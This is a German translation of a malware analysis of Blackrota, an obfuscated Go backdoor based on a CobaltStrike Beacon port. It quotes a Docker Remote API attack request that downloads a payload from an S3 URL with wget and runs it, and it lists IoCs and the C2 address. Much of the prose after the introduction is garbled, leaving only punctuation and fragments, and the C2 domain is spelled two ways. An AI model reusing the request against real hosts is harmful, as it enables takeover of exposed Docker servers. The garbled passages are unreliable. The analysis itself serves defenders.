Blackrota, eine stark verschleierte Hintertür in Go

Die am meisten verschleierte Go ELF-Malware, die wir bisher gesehen haben.





Vorwort

Kürzlich wurde im Anglerfish Honeypot eine in Go geschriebene böswillige Hintertür abgefangen, die eine nicht autorisierte Zugriffsanfälligkeit in der Docker Remote-API ausnutzte.





Wir haben es Blackrota genannt, weil seine C2-Domäne blackrota.ga ist .





Die Blackrota-Backdoor ist derzeit nur für Linux im ELF-Format verfügbar und unterstützt x86 / x86-64-Architekturen.





Blackrota wird basierend auf geacon konfiguriert und kompiliert - der CobaltStrike Beacon Go-Implementierung, die als CobaltStrike Beacon verwendet wird und mit CobaltStrike interagiert, um den gefährdeten Host zu steuern:





Dies ist jedoch nur eine Implementierung einiger der Hauptfunktionen des ursprünglichen CobaltStrike Beacon:





  • CMD_SHELL: Ausführung von Shell-Befehlen,





  • CMD_UPLOAD: Dateien hochladen,





  • CMDDOWNLOAD: spezielle Dateien herunterladen,





  • CMD_FILE _ ROWSE: Datei anzeigen ,





  • CMD_CD: Verzeichnis wechseln,





  • CMD_SLEEP: Schlafverzögerungszeit einstellen,





  • CMD_PWD: ,





  • CMD_EXIT: .





geacon, Blackrota gobfuscate - . Gobfuscate - Go-, Go- :





  • ;





  • ;





  • ;





  • ;





  • .





, gobfuscate XOR , XOR, .





Go . , , , , . , , , Go . , Go.





, Go : RTSI (Runtime Symbol Information) RTTI (Runtime Type Information) . , Go, , Go. Go . , RTSI RTTI , , .





Blackrota gobfuscate , "life-door" . , , . .





, Go, , - , . Blackrota - Go ELF , .





Blackrota





Blackrota API Docker. :





POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json

{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}
      
      



32/64 Blackrota URL :





https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64
      
      



Blackrota

, Blackrota Go. go_parser IDAPro, , Go1.15.3, GOROOT path "/usr/local/Cellar/ go/1.15.3/libexec". , , , , , , .





, ( )





/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go

      
      



Blackrota

, , , , Blackrota .





:





:





, , , :





, , , Go , . , , , Blackrota geacon.





, Blackrota, :





  1. geacon Blackrota, ,





  2. idb2pat.py IDAPro (geacon.pat) geacon-,





  3. sigmake Flair Tools geacon (geacon.sig),





  4. geacon.sig Blackrota IDAPro, .





! , , , , geacon-, :





Blackrota

, , Go, Blackrota, geacon . , geacon.





, Blackrota XOR , , , . XOR. gobfuscate XOR , , , . XOR :





, , XOR XOR. , .





, Go, , , . - , @joakimkennedy, main:





main - :





- EKANS, , Blackrota:





Die in der Blackrota- und EKANS-Malware verwendete Verschleierungstechnik führt zu neuen Aufrufen / Problemen bei der Demontage. Da die Go-Sprache immer beliebter wird und in Zukunft immer mehr Malware in Go geschrieben wird, werden wir beobachten, was passiert.





IoCs





MD5:





e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa
      
      



C & C:





blackrato.ga    165.227.199.214    ASN: 14061|DigitalOcean,_LLC
      
      



PS Der Artikel wurde mit Genehmigung des Autors veröffentlicht. Meine erste Übersetzung bitte mit Verständnis behandeln.








All Articles